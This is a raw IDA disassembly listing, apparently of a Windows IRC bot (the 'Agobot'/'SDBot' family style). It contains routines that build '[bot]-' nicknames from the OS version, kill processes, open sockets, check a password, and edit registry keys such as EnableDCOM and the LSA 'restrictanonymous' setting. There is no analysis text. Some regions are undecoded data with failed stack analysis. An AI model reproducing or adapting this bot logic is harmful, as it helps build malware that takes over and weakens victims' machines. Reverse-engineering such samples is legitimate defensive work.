		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_41539A:				; CODE XREF: sub_41533B+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41518A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C2
		push	offset unk_4387FC
		jmp	short loc_4153C7
; ---------------------------------------------------------------------------

loc_4153C2:				; CODE XREF: sub_41533B+7Ej
		push	offset unk_4387C4

loc_4153C7:				; CODE XREF: sub_41533B+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153FA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B0Ap
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 2720810h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 27E0C8Eh
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26309DCh

loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43F5C4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43F5FC
		push	eax
		push	offset dword_438928
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 25F030Eh

loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------

loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0

loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	dword_43F6B8
		cmp	dword_489DDC, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_4388DC
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_4388A0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_438868
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F030Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]

loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------

loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_438964
		call	sub_40BFE1
		pop	ecx

loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------

loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax

loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43899C
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43F5E0h, 0C63BF633h, 68501D74h
		dd 438B60h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 0ABA8E857h, 5790021Dh, 41598C68h, 0A88EE800h, 8590023Dh
		dd 0E82975C0h, 223B4C9h, 10685090h, 0E800438Bh,	0FFFF6859h
		dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 0E8905759h, 21DAB6Eh
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h,	15FF5350h
		dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h
		dd 850FC085h, 103h, 438AC468h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh
		dd 8D500043h, 0FFFBEC85h, 8A7068FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 0E8905056h, 226B1CCh,	69B84D8Bh
		dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 21EAAD2h, 0E890EDEBh, 223B33Dh
		dd 8A246850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43F5FCh, 0EC858D50h,	68FFFFFBh, 4389E0h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0F70015FFh
		dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h
		dd 59000016h, 83E89056h, 5B021DA9h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 25F09B1h
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF

loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9

loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E81p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 25F09B1h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37

loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21

loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 25F09B1h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		call	near ptr 27D0000h
		nop
		movsx	eax, byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx

loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx

loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx

loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9

loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3

loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 25F09B1h
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 27F02D8h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E

loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28

loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 27A0000h
		nop
		call	near ptr 25F09B1h
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"

loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C14

loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC

loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58

loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32

loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 25F09B1h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C96
		mov	eax, offset byte_43C80C

loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------

loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CC1
		mov	eax, offset byte_43C80C

loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h

loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC

loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------

loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------

loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438BB0[eax*4]
		pop	ecx

loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43F668
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4450CC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43F6F4
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h

loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43F700
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E2o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h
		dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	444EC005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 0E9E89057h, 3B0226ABh, 0FC4589C7h, 7D390B74h, 6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 21AB03E8h, 0B3FF9002h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h
		dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------

loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC

loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25F030Eh
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F738, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_438FD4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------

loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_438FA8

loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416026
; ---------------------------------------------------------------------------

loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416095
		push	offset unk_438F08
		jmp	short loc_41609A
